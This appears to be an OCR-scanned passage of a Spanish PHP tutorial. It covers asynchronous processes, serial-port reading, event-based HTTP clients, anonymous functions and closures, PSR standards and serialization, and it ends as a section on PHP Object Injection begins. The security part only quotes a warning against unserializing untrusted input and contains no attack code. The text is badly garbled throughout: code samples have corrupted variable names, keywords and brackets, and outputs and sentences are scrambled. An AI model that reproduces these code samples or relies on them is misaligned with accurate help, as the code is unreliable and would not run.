usleep ($delay * 1000); 
¡cba (Maras: Sal yal) 


Luego, el proceso principal generará subprocesos y leerá su salida. Podemos dividirlo en bloques 
más pequeños: 


* Generar subprocesos con proc_open () . 

* Haga que cada subproceso no se bloquee Con stream set_blocking() . 

+ Ejecute un bucle hasta que todos los subprocesos terminen de Usar proc _get_status(). 

+ Cierre adecuadamente los manejadores de archivos con el conducto de salida para cada 
subproceso utilizando +c:0se () y cierre los manejadores de procesos Con proc_close() . 


<?php 
// non-blocking-proc_open.php 
// File descriptors for each subprocess. 


$descriptors = [| 
0> pipes, “el, /£ sieclia 
=> ['pipe', 'w'], // stdout 


1; 


pluses = 1; 
Sprocesses = I[]l; 
Fosacia (esmas (, 2) as Sl) « 
// Spawn a subprocess. 
$Sproc = proc_open('php subprocess.php proc' . $1, S$descriptors, $procPipes); 
Sprocesses[$i1] = $proc; 
// Make the subprocess non-blocking (only output pipe). 
stream_set_blocking($procPipes[1], 0); 
Spipes[$i] = $procPipes; 
) 


// Run in a loop until all subprocesses finish. 
while (array_filter($processes, function($proc) [ return proc_get_status($proc) ['running']; 
yy A 
comsacia (femmes (1) E) Es Eu) 4 
usleep(10 * 1000); // 100ms 
// Read all available output (unread output is buffered). 
$str = fread($pipes[$1]1[1], 1024); 
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1 (SsStz) € 
pizilae e (SS) y 


) 


// Close all pipes and processes. 


foreach (range (1, 3) as $1) ( 


fclose ($pipes[$i][11); 


proc_close ($processes[$1]); 


La salida luego contiene la mezcla de los tres subprocesos, ya que nos lee fread () (tenga en 


cuenta que, en es 


te caso, proc1 terminó mucho antes que los otros dos): 


$ php non-blocking-proc_open.php 


proc1l delay: 200ms 


proc2 delay: 1000ms 


proc3 delay: 800ms 


peocilLs 0 
proc 
proc 
proc 
POSSE 
proc 
PROSA 
POSSE 
PROC 
PROSSE 
PROS 
POSSE 
PROS 
PROSSE 


ds dE 469 0 S NN [214 E 5 e 4 10 


PROCZS 


Lectura de puerto serie con evento y DIO 


Las transmisiones D/O no son reconocidas actualmente por la extensión del evento . No hay una 
forma clara de obtener el descriptor de archivo encapsulado en el recurso DIO. Pero hay una 


solución: 


* flujo abierto 


para el puerto con fopen () ; 


* hacer que la secuencia no se bloquee con stream _set_blocking() 5 

+ obtenga el descriptor de archivo numérico de la secuencia CON rEventúti1::gerSocketFa() ; 

+ pase el descriptor de archivo numérico a dio_fdopen () (actualmente no documentado) y 
obtenga el recurso DIO; 


* agregue un ; 


Event COn una devolución de llamada para escuchar los eventos de lectura en el 


descriptor de archivos; 
+ en la devolución de llamada, vacíe los datos disponibles y procételos de acuerdo con la 


lógica de su 


dio.php 


aplicación. 
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<?php 

class Scanner ( 
protected $port; // port path, e.g. /dev/pts/5 
protected $fd; // numeric file descriptor 


protected S$base; // EventBase 
protected $dio; // dio resource 
protected $e_open; // Event 
protected $e_read; // Event 


¡ug Email —somsicinca (Siore) 
Sthis->port = $port; 
Sthis->base = new EventBase(); 

) 

¡Atlolile Ewaciclomn ——elesitiueac (o) 1 


Sthis->base->exit (); 


if ($this->e_open) 


Sthis->e_open->free(); 
if ($this->e_read) 
$this->e_read->free(); 


1£ ($this=>di0) 
dio _close($this->dio); 


¡molle Euacicloa ua (O) 
Sstream = fopen($this->port, 'rb'); 
stream_set_blocking($stream, false); 


Sthis->fd = EventUtil::getSocketFd ($stream); 
de (Sulmls=>:0 < 10) € 


PEINE (STDERR E ac dat? co pOr ME Von ES Na 


return; 


Sthis->e_open = new Event ($this->base, $this->fd, Event: :WRIT 


$this->e_open->add (); 
$Sthis->base->dispatch(); 


fclose ($stream); 


public function _onOpen ($fd, Sevents) ( 
$this->e_open->del (); 


Sthis->dio = dio_fdopen($this->fd); 
INCL rl cio Functions eze, Susto 
dio tesetattr($this->dio, I 

'baud' => 9600, 

Miles! => 8, 

star => 1, 
MosucieyY => () 
D; 


Sthis->e_read = new Event ($this->base, $this->f£d, Event: 


[Sthis, '_onRead']); 
Sthis->e_read->add(); 


public function _onRead ($fd, Sevents) ( 
while ($data = dio_read($this->dio, 1)) ( 
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Sevents); 


ná] 


, 


[$this, 


¿READ 


Event ::P 


'_onOpen']); 


ERSIST, 


418 


var_dump ($data); 


) 


) 


// Change the port argument 
new Scanner ('/dev/pts/5'); 


Sscanner = 


Sscanner->run(); 


Pruebas 


Ejecute el siguiente comando en la terminal A: 


S socem =0l 
2/1 2/QÍ 
2016/12/01 
AQUEL 2 


-=d pty, raw,echo=0 pty, raw, echo=0 


18:04:06 socat[16750] 
18:04:06 socat[16750] 
18:04:06 socat[16750] 


N PIY is /dev/pts/5 
N PIY is /dev/pts/8 
N starting data transfer loop with FDs [5,5] 


and [7,7] 


La salida puede ser diferente. Utilice los PTY del primer par de filas ( /dev/prs/5 Y /dev/pts/g , en 


particular). 


En la terminal B ejecute el script mencionado anteriormente. Es posible que necesite privilegios 


de root: 


$ sudo php 


dto pl 


En la terminal C envía una cadena a la primera PTY: 


$ echo test > /dev/pts/8 


Salida 


string 


(1) 
string (1) 
string(1) 
string (1) 

(1) 


string 


Cliente HTTP basado en la extensión del evento 


Esta es una clase de cliente HTTP de muestra basada en la extensión del evento . 


La clase permite programar una cantidad de solicitudes HTTP y luego ejecutarlas de forma 


asíncrona. 


http-client.php 
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<?php 
class MyHttpClient ( 
/// var EventBase 


protected $Sbase; 


/1// var array Instances of EventHttpConnection 
protected $connections = []; 


ano lie Euwncrlon _ comsicisner (0) 
Sthis->base = new EventBase(); 


pk 
* Dispatches all pending requests (events) 
* 
* (return void 
e 
¡Atlolliso Emacicloa =ualo) 
$Sthis->base->dispatch(); 


public function __destruct () ( 
// Destroy connection objects explicitly, don't wait for GC. 


// Otherwise, EventBase may be free'd earlier. 
$this->connections = null; 


J** 
* (brief Adds a pending HTTP request 


* (param string Sfaddress Hostname, or IP 
* (param int $port Port number 


* (param array S$headers Extra HTTP headers 


* (param int $cmd A EventHttpRequest::CMD_* constant 


* (param string $resource HTTP request resource, .9g. '/page?a=b8c=d' 
* 


* freturn EventHttpRequest | false 
El 


public function addRequest (Saddress, $port, array Sheaders, 


Scmd = EventHttpRequest::CMD_GET, $resource = '/') 


Sconn = new EventHttpConnection($this->base, null, Saddress, $port); 
Sconn->setTimeout (5); 


$reg = new EventHttpRequest ([$this, '_requestHandler'], S$this->base); 


foreach ($headers as $k => S$v) ( 
Sregq->addHeader ($k, $v, EventHttpRequest : : OUTPUT_HEADER) ; 


) 
Sregq->addHeader ('Host', Saddress, EventHttpRequest: :OUTPUT_HEADER); 
Sregq->addHeader ('Connection', 'close', EventHttpRequest : : OUTPUT_HEADER); 
if ($conn->makeRequest ($req, $cmd, $resource)) ( 


$this->connections []= $conn; 
return $reg; 


return false; 


pk 
* (brief Handles an HTTP request 
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* (param EventHttpRequest $reqg 
* (Qparam mixed Sunused 
* 
* (return void 
>) 
public function _requestHandler ($req, S$unused) ( 
a (als mul (Bee) 4 
celmo "bbucel ome yal 


) else ( 
Sresponse_cod Sregq->getResponseCode (); 
1f (S$response_code == 0) ( 
echo "Connection refusedin"; 
) elseif ($response_code != 200) ( 
echo "Unexpected response: $response_codeWn"; 
else ( 


echo "Success: $response_codeWn"; 


Sbuf = $reg->getInputBuffer(); 

echo "Body:1n"; 

while ($s Sbuf->readline (EventBuffer::EOL_ANY)) ( 
echo $s, PHP_EOL; 


Saddress = "my-host.local"; 
Spore = El07 
Sheaders = [ 'User-Agent' => 'My-User-Agent/1.0', ]; 


Sclient = new MyHttpClient (); 


// Add pending requests 
sor (SL = 09 Sí < 107 Sia) 4 

Sclient->addRequest ($address, $port, S$headers, 
EventHttpRequest::CMD_GET, '/test.php?a=" . $1); 


// Dispatch pending requests 
Sclient->run (); 


prueba.php 


Este es un script de ejemplo en el lado del servidor. 


<?php 
echo 'GET: ', var_export ($_GET, true), PHP_EOL; 
echo 'User-Agent: ', S_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL; 


Uso 


php http-client.php 
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Salida de muestra 


Success: 200 
Body: 
GEN try 
=> UE 
) 
User-Agent: My-User-Agent/1.0 
Success: 200 
Body: 
(CIMTES Elacesy Y 
dal => QU, 
) 
User-Agent: My-User-Agent/1.0 
Success: 200 
Body: 
GET: array ( 
dal => 131, 


(Recortado.) 


Tenga en cuenta que el código está diseñado para el procesamiento a largo plazo en la CL! SAP! 


Cliente HTTP basado en la extensión Ev 


Este es un ejemplo de cliente HTTP basado en la extensión Ev . 


La extensión Ev implementa un simple pero potente bucle de eventos de propósito general. No 
proporciona observadores específicos de la red, pero su observador de E / S puede utilizarse 
para el procesamiento asíncrono de sockets . 


El siguiente código muestra cómo se pueden programar las solicitudes HTTP para el 
procesamiento paralelo. 


http-client.php 


<?php 

class MyHttpRequest ( 
/// Gvar MyHttpClient 
private $http_client; 
/1// var string 
private S$address; 


/// var string HTTP resource such as /page?get=param 
private $resource; 
/// var string HTTP method such as GET, POST etc. 
private $method; 

/1// (var int 

private Sservice_port; 


/// var resource Socket 


private $socket; 
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/// Qvar double Connection timeout in seconds. 
private $timeout = 10.; 

/// var int Chunk size in bytes for socket_recv() 
private $chunk_size = 20; 

/1// var EvTimer 

private $timeout_watcher; 

/// (var Evlo 

private $write_watcher; 

/// (var Evlo 


private $read_watcher; 


/1// var EvTimer 

private $conn_watcher; 

/1// var string buffer for incoming data 
private $buffer; 


/// var array errors reported by sockets extension in non-blocking mode. 


private static $e_nonblocking = [ 
11, // EAGAIN or EWOULDBLOCK 
115, // EINPROGRESS 


* fiparam MyHttpClient $client 
* (param string $host Hostname, e.g. google.co.uk 

* (param string $resource HTTP resource, e.g. /page?a=b8gc=d 

* (param string $method HTTP method: GET, HEAD, POST, PUT etc. 
* (throws RuntimeException 


> 
public function __construct (MyHttpClient $client, S$host, $resource, $method) ( 
Sthis->http_client = $client; 
Sthis->host = $fhost; 
Sthis->resourc = $resource; 
Sthis->method = $method; 


// Get the port for the WWW service 
this->service_port = getservbyname('www', 'tcp'); 


Ur 


// Get the IP address for the target host 
Sthis->address = gethostbyname ($this->host); 


IN CriScrs a mes See: 
Sthis->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
if (!$this->socket) (Í 


throw new RuntimeException("socket_create() failed: reason: " 


socket_strerror(socket_last_error())); 


// Set O_NONBLOCK flag 
socket_set_nonblock ($this->socket); 


Sthis->conn_watcher = $this->http_client->getloop () 
=— imei (0, De, Simis, “comecr: 1) 


public function __destruct () ( 
Sthis->close(); 


private function freeWatcher (4$w) ( 
if (Sw) ( 
Sw->stop (); 
Sir = MuuLils 
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¡xk 
* Deallocates all resources of the request 
e) 
private function close() ( 
if ($this->socket) ( 
socket_close($this->socket); 
$this->socket = null; 


Sthis->freeWatcher ($this->timeout_watcher); 
Sthis->freeWatcher ($this->read_watcher); 
( 
( 


Sthis->freeWatcher ($this->write_watcher); 
Sthis->freeWatcher ($this->conn_watcher); 


¡xk 
* Initializes a connection on socket 
* (return bool 
y) 
public function connect () ( 
Sloop = $this->http_client->getlLoop (); 


Sthis->timeout_watcher = $loop->timer ($this->timeout, 0., [$this, '_onTimeout']); 
Sthis->write_watcher = $loop->io($this->socket, Ev: :WRITE, [$this, '_onWritable']); 


return socket_connect ($this->socket, $this->address, $this->service_port); 


¡xk 
* Callback for timeout (EvTimer) watcher 
y) 

public function _onTimeout (EvTimer $w) ( 


Sw->stop (); 
Sthis->close(); 


pk 
* Callback which is called when the socket becomes wriable 
5) 
public function _onWritable(Evlo $w) ( 
Sthis->timeout_watcher->stop(); 
$w->stop () ; 


Sin = implode(Tirin", [ 
"(Sthis->method) ($this->resource) HTTP/1.1", 
Mises (Stats >host Y. 
"Connection: Close', 


DY e. Mime: 


if (!socket_write($this->socket, Sin, strlen($in))) ( 
trigger_error ("Failed writing $in to socket", E_USER_ERROR); 


return; 


Sloop = $this->http_client->getloop (); 
Sthis->read_watcher = $loop->io($this->socket, 
EV READ SERES on Rea dabileia ne 
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// Continue running the loop 
$loop->run (); 


¡xk 
* Callback which is called when the socket becomes readabl 
e 


public function _onReadable(Evlo $w) ( 


// recv() 20 bytes in non-blocking mode 
Sret = socket_recv ($this->socket, $out, 20, MSG_DONIWAIT); 


dE (See) € 
// Still have data to read. Append the read chunk to the buffer. 
S$this->buffer .= $out; 
) elseif ($ret === 0) ( 
// A11l is read 
¡laca (Mag A >, ica (Sila =AQuiBIaSiz) ) p 
cala ((SIDOUME) y 
Sw->stop (); 
Sthis->close(); 
SILES. 


// Caught EINPROGRESS, EAGAIN, or EWOULDBLOCK 
1f (in_array(socket_last_error(), static::$e_nonblocking)) ( 


return; 


$w->stop () ; 
$this->close(); 


EAOVAAIA AI UASD ASIN 

class MyHttpClient ( 
/// var array Instances of MyHttpRequest 
private $requests = []; 


/// var EvLoop 


private $loop; 


¡amlolalo Ewaicrlion — comsicienalr () 4 


// Each HTTP client runs its own event loop 


Sthis->loop = new EvLoop (); 


public function __destruct () ( 
Sthis->loop->stop(); 


pk 
* (return EvLoop 
e 
public function getloop() ( 


return $this->loop; 


pk 
* Adds a pending request 
e 
public function addRequest (MyHttpRequest $r) ( 
$this->requests []= $r; 
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pk 
* Dispatches all pending requests 
E 
¡molle Eurmcitcalon sua) 
$Sthis->Loop=>run (); 


EE NA AN 
// Usage 

Sclient = new MyHttpClient (); 

foreach (range(1, 10) as $i) ( 


$Sclient->addRequest (new MyHttpRequest ($client, 


eo De 
) 


Sclient->run(); 


Pruebas 


Supongamos que el script http: //my-host.loca1/test .pnp está imprimiendo el volcado de s_«: 


<?php 
celo “enre Y, ver ra (5 (alt, Eicus), 


PHP: 


EOL; 


ay lose Loesul!, 


"/test.php?a=' 


Luego, la salida del comando pno http-client.pnp será similar a la siguiente: 


<<<< 
Auri>/ dd. 200 Ok 

Server: nginx/1.10.1 

Deres rel, 02 Dee 2016 123890354 (CMA? 
Content-Type: text/html; charset=UTF-8 
Transfer-Encoding: chunked 


Connection: close 
X-Powered-By: PHP/7.0.13-pl10-gentoo 


ld 

GET: array ( 
al => 130, 

) 

0 

>>>> 

<<<< 


Aari>/ dd. 200 Ok 

Server: nginx/1.10.1 

Darse Brel, 02% Dee 2016 123890354 (CMBr 
Content-Type: text/html; charset=UTF-8 
Transfer-Encoding: chunked 


Connection: close 
X-Powered-By: PHP/7.0.13-p10-gentoo 


ld 
GEN rl 
ta! => o 
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E 


426 


PAD 


(recortado) 


Tenga en cuenta que, en PHP 5, la extensión de sockets puede registrar advertencias para los 
Valores errno de EINPROGRESS , EAGAIN Y EWoULDBLOCK . Es posible desactivar los registros con 


error_reporting(E_ERROR); 


Lea Programación asíncrona en línea: https://riptutorial.com/es/php/topic/4321/programacion- 
asincrona 
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Capítulo 80: Programación Funcional 


Introducción 


La programación funcional de PHP se basa en funciones. Las funciones en PHP proporcionan un 
código organizado y reutilizable para realizar un conjunto de acciones. Las funciones simplifican 
el proceso de codificación, evitan la lógica redundante y hacen que el código sea más fácil de 
seguir. Este tema describe la declaración y la utilización de funciones, argumentos, parámetros, 
declaraciones de devolución y alcance en PHP. 


Examples 


Asignación a variables 


Las funciones anónimas se pueden asignar a variables para su uso como parámetros donde se 
espera una devolución de llamada: 


Suppercase = function ($data) ( 
return strtoupper ($data); 


115 


SmixedCase = ["Hello", "World"]; 
Suppercased = array_map (S$uppercase, $mixedCase); 


print_r($uppercased); 


Estas variables también se pueden utilizar como llamadas a funciones independientes: 


echo Suppercase ("Hello world!"); // HELLO WORLD! 


Usando variables externas 
La construcción de use se utiliza para importar variables en el alcance de la función anónima: 


Scliivisor = 2332 
Smyfunction = function($number) use ($divisor) ( 
return $number / $divisor; 


115 


echo $myfunction(81620); //Outputs 35 


Las variables también se pueden importar por referencia: 


Scollection = []; 
Sadditem = function($item) use (£$collection) ( 


Scollection[] = $item; 


; 
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Sadditem (1); 
Sadditem(2); 


eScoalleciion is mem [21 


Pasando una función de devolución de llamada como parámetro 


Hay varias funciones de PHP que aceptan funciones de devolución de llamada definidas por el 
usuario como un parámetro, Como: call_user_func() , usort () Y array_map() . 


Dependiendo de dónde se definió la función de devolución de llamada definida por el usuario, hay 
diferentes maneras de pasarlas: 


Estilo procesal: 


function square ($number) 


( 


return $number * $number; 


) 


Simicial_ aretes = Mo Zo Sy Lo BF 
Sfinal_array = array_map('square', Sinitial_array); 
var_dump ($final_array); // prints the new array with 1, 4, 9, 16, 25 


Estilo orientado a objetos: 


class SquareHolder 


( 


function square ($number) 


( 


return $number * $number; 


) 
SsquaredHolder = new SquareHolder (); 
Simiicisdl_ area = ll, Zo Se Lo BA 


Sfinal_array = array_map ([$squaredHolder, 'square'], $initial_array); 


var_dump ($final_array); // prints the new array with 1, 4, 9, 16, 25 


Estilo orientado a objetos utilizando un método estático: 


class StaticSquareHolder 


( 


public static function square ($number) 


( 


return $number * $number; 


) 


Simitcicll_ sz = Ml, 2. Sy Lo BlF 
Sfinal_array = array_map(['StaticSquareHolder', 'square'], Sinitial_array); 
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UN 013 


Sfinal_array = array_map ('StaticSquareHolder::square', S$initial_array); // for PHP >= 5.2.3 


ver clio (Sirlasil_ siete) Y/ joins ie men else Wbela ll, 4, Y, 10, 25 


Usando funciones incorporadas como devoluciones de llamada 


En las funciones que se pueden ca11ab1e como un argumento, también puede poner una cadena 
con la función incorporada de PHP. Es común usar trim como parámetro array_map para eliminar 
los espacios en blanco array_map y finales de todas las cadenas en la matriz. 


Saja = [0 one ', 'two a cares], 
varidunpllatrraylnap cines aca) 

// array(3) ( 

Ys 191 => 

Y scclag(S) “ene” 

0 pá => 

eN sealag(S) Weno” 

Y [21 => 

El string(5) "three" 

ÚÍ 


Función anónima 
Una función anónima es solo una función que no tiene nombre. 


// Anonymous function 
acicica O) 
return "Hello Worlad!"; 


l; 


En PHP, una función anónima se trata como una expresión y, por este motivo, debe terminar con 
un punto y coma ;.. 


Una función anónima debe ser asignada a una variable. 


// Anonymous function assigned to a variable 
SsayHello = function ($name) ( 
return "Hello $name!"; 


; 


print $sayHello('John'); // Hello John 


O debería pasarse como parámetro de otra función. 


Susezs = | 
['name' => 'Alice', 'age' => 20], 
['name' => 'Bobby', 'age' => 22], 
['name' => 'Carol', 'age' => 17] 


1; 


// Map function applying anonymous function 
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SuserName = array_map (function ($user) ( 
return $user['name']; 
), Susers); 


¡cae  (Suscrsiiaae) a // (Alics", "Monay", '"Cazol"] 


O incluso ha sido devuelto de otra función. 


Funciones anónimas autoejecutables: 


E ere O 7 y 
(function () ( 
echo "Hello world!"; 


DO; 


Il For PRD Dos 
call_ user _func(function () ( 
echo "Hello world!"; 


DH; 


Pasando un argumento a funciones anónimas autoejecutables: 


EOL PER IE 
(function ($name) ( 

echo "Hello $name!"; 
H ("John'); 


PESTE. 
call_user_func(function ($name) ( 

echo "Hello $name!"; 
a 


Alcance 


En PHP, una función anónima tiene su propio alcance como cualquier otra función de PHP. 


En JavaScript, una función anónima puede acceder a una variable fuera del alcance. Pero en 
PHP, esto no está permitido. 


$Sname = 'John'; 


// Anonymous function trying access outside scope 
SsayHello = function() ( 
return "Hello $name!"; 


) 


print $sayHello('John'); // Hello ! 
// With notices active, there is also an Undefined variable $name notic 


Cierres 


Un cierre es una función anónima que no puede acceder fuera del alcance. 


Al definir una función anónima como tal, está creando un "espacio de nombres" para esa función. 
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Actualmente solo tiene acceso a ese espacio de nombres. 


SexternalVariable = "Hello"; 
$secondExternalVariable = "Foo"; 


SmyFunction = function() ( 


var_dump ($externalVariable, $secondExternalVariable); // returns two error notice, since the 


variables aren't defined 


No tiene acceso a ninguna variable externa. Para otorgar este permiso para que este espacio de 
nombres acceda a variables externas, debe introducirlo mediante cierres ( use() ). 


SmyFunction = function() use (f$externalVariable, $secondExternalVariable) ( 
var_dump ($externalVariable, $secondExternalVariable); // Hello Foo 


) 


Esto se atribuye en gran medida al alcance de la variable ajustada de PHP: sí una variable no 
está definida dentro del alcance, o no se incluye en gy1oba1 entonces no existe. 


También tenga en cuenta: 


Heredar variables del ámbito principal no es lo mismo que usar variables globales. Las 
variables globales existen en el ámbito global, que es el mismo sin importar qué 
función se esté ejecutando. 


El ámbito principal de un cierre es la función en la que se declaró el cierre (no 
necesariamente la función desde la que se llamó). 


Tomado de la documentación de PHP para funciones anónimas 


En PHP, los cierres utilizan un enfoque de enlace temprano . Esto significa que las variables 
pasadas al espacio de nombres del cierre utilizando la palabra clave use tendrán los mismos 
valores cuando se definió el cierre. 


Para cambiar este comportamiento debes pasar la variable por referencia . 


Siíele = ¿057 


// Exports variable to closure's scope 
ScalculateTax = function ($value) use (S$rate) ( 
eucuida Sivecilus Y Sisaesp 


y; 
Sieare = ¿lp 


print $calculateTax(100); // 5 


Siíele = ¿057 


// Exports variable to closure's scope 
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ScalculateTax = function ($value) use (£$$rate) [í // notice the £ before $rat 
return $value * $rate; 


y; 
Sites = lp 
print $calculateTax(100); // 10 


Los argumentos predeterminados no se requieren implícitamente al definir funciones anónimas 
con / sin cierres. 


$message = 'Im yelling at you'; 
$yell = function() use ($message) ( 
echo strtoupper ($message); 


115 


Syel1(); // returns: IM YELLING AT YOU 


Funciones puras 


Una función pura es una función que, dada la misma entrada, siempre devolverá la misma salida 
y no tendrá efectos secundarios . 


// This is a pure function 
function add ($a, $b) ( 
return $a + Sb; 


Algunos efectos secundarios son cambiar el sistema de archivos , interactuar con las bases de 
datos , imprimir en la pantalla . 


// This is an impure function 
function add($a, $b) ( 

echo "Adding..."; 

return Sa + Sb; 


Objetos como función. 


class SomeClass ( 
public function __ invoke ($paraml, $param2) ( 
// put your code here 
) 
) 


Sinstance = new SomeClass(); 
Sinstance('First', 'Second'); // call the __invoke() method 


Un objeto con un método _ invoke se puede utilizar exactamente como cualquier otra función. 


El método _ invoke tendrá acceso a todas las propiedades del objeto y podrá llamar a cualquier 
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método. 


Métodos funcionales comunes en PHP 


Cartografía 


Aplicando una función a todos los elementos de una matriz: 
array_map('strtoupper', S$array); 


Tenga en cuenta que este es el único método de la lista donde la devolución de llamada es lo 
primero. 


Reducción (o plegado) 
Reduciendo una matriz a un solo valor: 


Ssum = array_reduce ($numbers, function ($carry, $number) ( 
return $carry + $number; 


y; 


Filtración 


Devuelve solo los elementos de la matriz para los que la devolución de llamada devuelve true : 


SonlyEven = array _filter ($numbers, function ($number) ( 


9 


return snumber 2) == 0 


NY; 


Lea Programación Funcional en línea: https://riptutorial.com/es/php/topic/205/programacion- 
funcional 
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Capítulo 81: PSR 


Introducción 


El PSR (Recomendación sobre estándares de PHP) es una serie de recomendaciones 
elaboradas por FIG (Framework Interop Group). 


"La idea detrás del grupo es que los representantes del proyecto hablen sobre los puntos en 
común entre nuestros proyectos y encuentren formas de trabajar juntos" - Preguntas frecuentes 
de FIG 


Los PSR pueden estar en los siguientes estados: Aceptado, Revisar, Borrador o En desuso. 


Examples 


PSR-4: Autoloader 


PSR-4 es una recomendación aceptada que describe el estándar para las clases de carga 
automática a través de nombres de archivos. Se recomienda esta recomendación como 
alternativa al PSR-0 anterior (y ahora en desuso). 


El nombre de clase completo debe coincidir con el siguiente requisito: 


X<NamespaceName> (1<SubNamespaceNames>) *1<ClassName> 


+ DEBE contener un espacio de nombres de proveedor de nivel superior (por ejemplo: 
Alphabet ) 

+ PUEDE contener uno O más coogleradwora nombres (por ejemplo: coogleradwora ) 

+ DEBE contener un nombre de clase final (Ej .: keyworaP1anner ) 


Por lo tanto, el nombre final de la clase sería a1pnabet1GoogleVAdWordYKeywordPlanner . El nombre de 
clase completo también debe traducirse en una ruta de archivo significativa, por lo tanto 


AlphabetGooglelYAdWordYKeywordPlanner Se ubicará en 
[path_to_source]/Alphabet/Google/AdWord/KeywordPlanner.php 


A partir de PHP 5.3.0, se puede definir una función de autocargador personalizado para cargar 
archivos según la ruta y el patrón de nombre de archivo que defina. 


+ Edit your php to include something like: 
spl_autoload_register (function ($class) [í include 'classes/' . $class . '.class.php';)); 


Reemplazar la ubicación ('clases /') y la extensión del nombre de archivo ('.class.php') con valores 
que se aplican a su estructura. 


El administrador de paquetes de Composer es compatible con PSR-4, lo que significa que, si 
sigue el estándar, puede cargar sus clases en su proyecto automáticamente usando el 
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autocargador del proveedor de Composer. 


+ Edit the composer.json file to include 
auto Ia 
os 449 dl 
Mao Moca wo Sebas] Y 
) 


Regenera el archivo autoloader 


$ composer dump-autoload 


Ahora en tu código puedes hacer lo siguiente: 


<?php 
require _ DIR__ . '/vendor/autoload.php'; 


SKeywordPlanner = new AlphabetGoogleXAdWordYKeywordPlanner () ; 


PSR-1: Estándar de codificación básica 


PSR-1 es una recomendación aceptada y describe una recomendación estándar básica sobre 
cómo se debe escribir el código. 


+ Esboza las convenciones de nomenclatura para clases, métodos y constantes. 

+ Hace que la adopción de las recomendaciones de PSR-0 o PSR-4 sea un requisito. 

* Indica qué etiquetas PHP usar: <?php y <?= Pero no <>? . 

+ Especifica qué codificación de archivo usar (UTF8). 

* También establece que los archivos deben declarar nuevos símbolos (clases, funciones, 
constantes, etc.) y no causar otros efectos secundarios, o ejecutar la lógica con efectos 
secundarios y no definir símbolos, pero hacer ambos. 


PSR-8: Interfaz Huggable 


PSR-8 es una parodia de PSR ( actualmente en borrador ) propuesta por Larry Garfield como una 
broma de April Fools el 1 de abril de 2014. 


El borrador describe cómo definir una interfaz para hacer que un objeto sea Huggable . 
Salir del esquema de código: 
<?php 


namespace PsrlHug; 


pk 


* Defines a huggable object. 
* 
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* A huggable object expresses mutual affection with another huggable object. 
8) 
interface Huggable 


( 


J** 
* Hugs this object. 


* All hugs are mutual. An object that is hugged MUST in turn hug the other 
* object back by calling hug() on the first parameter. All objects MUST 
* implement a mechanism to prevent an infinite loop of hugging. 


* (param Huggable $h 
E The object that is hugging this object. 


> 
public function hug(Huggable $h); 


Lea PSR en línea: https://riptutorial.com/es/php/topic/10874/psr 
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Capítulo 82: Publicación por entregas 


Sintaxis 


* cadena serializar (valor mezclado de $) 


Parámetros 


Parámetro | Detalles 


El valor a ser serializado. serialize () maneja todos los tipos, excepto el tipo de 
recurso . Incluso puede serializar () arreglos que contienen referencias a sí 
mismo. También se almacenarán las referencias circulares dentro de la matriz / 
objeto que está serializando. Cualquier otra referencia se perderá. Al serializar 
objetos, PHP intentará llamar a la función miembro  sieep () antes de la 

valor serialización. Esto es para permitir que el objeto realice una limpieza de último 
minuto, etc., antes de ser serializado. Del mismo modo, cuando el objeto se 
restaura con unserialize () , se llama a la función miembro  wakeup () . Los 
miembros privados del objeto tienen el nombre de la clase ante el nombre del 
miembro; los miembros protegidos tienen un '* ante el nombre del miembro. 
Estos valores prefabricados tienen bytes nulos en cualquier lado. 


Observaciones 


La serialización utiliza las siguientes estructuras de cadena: 


[..] son marcadores de posición. 


CI 


Cuerda s: [size of string]:[value] 
Entero i: [value] 
Doble d: [value] 
Booleano b: [value (true = 1 and false = 0)] 
Nulo N 
Obieto O: [object name size]: [object name]: [object size] :1[[property name string 
) definition]: [property value definition]; (repeated for each property) ) 
Formación a: [size of array]: ([key definition]; [value definition]; (repeated for each key 


value pair)) 
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Examples 


Serialización de diferentes tipos. 


Genera una representación almacenable de un valor. 


Esto es útil para almacenar o pasar valores de PHP sin perder su tipo y estructura. 


Para volver a convertir la cadena serializada en un valor PHP, use unserialize () . 


Serializar una cuerda 


$string = "Hello world"; 
cho serialize($string); 


ROLES: 
¿salis Uisilo wola" + 


Serializacion de un doble 


Sclowsle = 1.57 
cho serialize ($double); 


// Output: 
Y ABLA 


Serializando un flotador 


Los flotadores se serializan como dobles. 


Serialización de un entero 


Sinteger = 65; 
cho serialize($integer); 


// Output: 
Il dE 


Serializacion de un booleano 


Sboolean = true; 
cho serialize ($boolean); 
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O SS 
Il Tos Te 


Sboolean = false; 


cho serialize ($boolean); 


HN OEJ2E $ 
Vi 13307 


Serializacion nula 


Smqull == mul e 
cho serialize($null); 


PY OrEJanE 8 
¿0 


Serializando una matriz 


Sarray = array ( 
2 
Stialmea" , 


'Array'=> ['Multi Dimension','Array'], 
'"boolean'=> true, 


"Object '=>$0b3, // $o0bj from above Example 
úl L, 
3.445 

); 


// This will throw Fatal Error 
Il Barral ruaccaloal] = Emaccion (Y) $ sercuma MEnacrlono] Pe 


cho serialize($array); 
// Output: 


Il ST ig0pisaSylsiossos "Serias pasos Mires Wgas2s lalo, 159 Mi lic 
Dimension"? is ips Mera es Mooleca "pos less "dae" pos33 "alos "sis tesis WaiWodsilo alo 221) 3 37 CE 


Serialización de un objeto 


También puede serializar objetos. 


Al serializar objetos, PHP intentará llamar a la función miembro __ sleep () antes de la 
serialización. Esto es para permitir que el objeto realice una limpieza de último minuto, etc., antes 
de ser serializado. Del mismo modo, cuando el objeto se restaura con unserialize () , se llama a 
la función miembro __wakeup () . 
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class abc ( 
var $i = 1; 
function foo() ( 
return "nello worla'. 
) 
) 


Sobject = new abc(); 
cho serialize ($object); 


// Output: 
Il Ora le ias Le "iWeads le j 


Tenga en cuenta que los cierres no pueden 
ser serializados: 


Sfunction = function () (í echo 'Hello World!'; ); 
Seuvacalon (> Y jas Maclilol0 
$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with 


message 'Serialization of 'Closure' is not allowed' 


Problemas de seguridad con unserialize 


El uso de la función unserialize para unserialize los datos de la entrada del usuario puede ser 
peligroso. 


Una advertencia de php.net 


Advertencia No pase una entrada de usuario no confiable a unserialize (). La 
deserialización puede hacer que el código se cargue y se ejecute debido a la 
instanciación de objetos y la carga automática, y un usuario malintencionado puede 
explotar esto. Utilice un formato de intercambio de datos estándar y seguro, como 
JSON (a través de json_decode () y json_encode ()) si necesita pasar datos 
serializados al usuario. 


Posibles ataques 


* Inyección de objetos PHP 


Inyección de objetos PHP 


PHP Object Injection es una vulnerabilidad de nivel de aplicación que podría permitir a un 
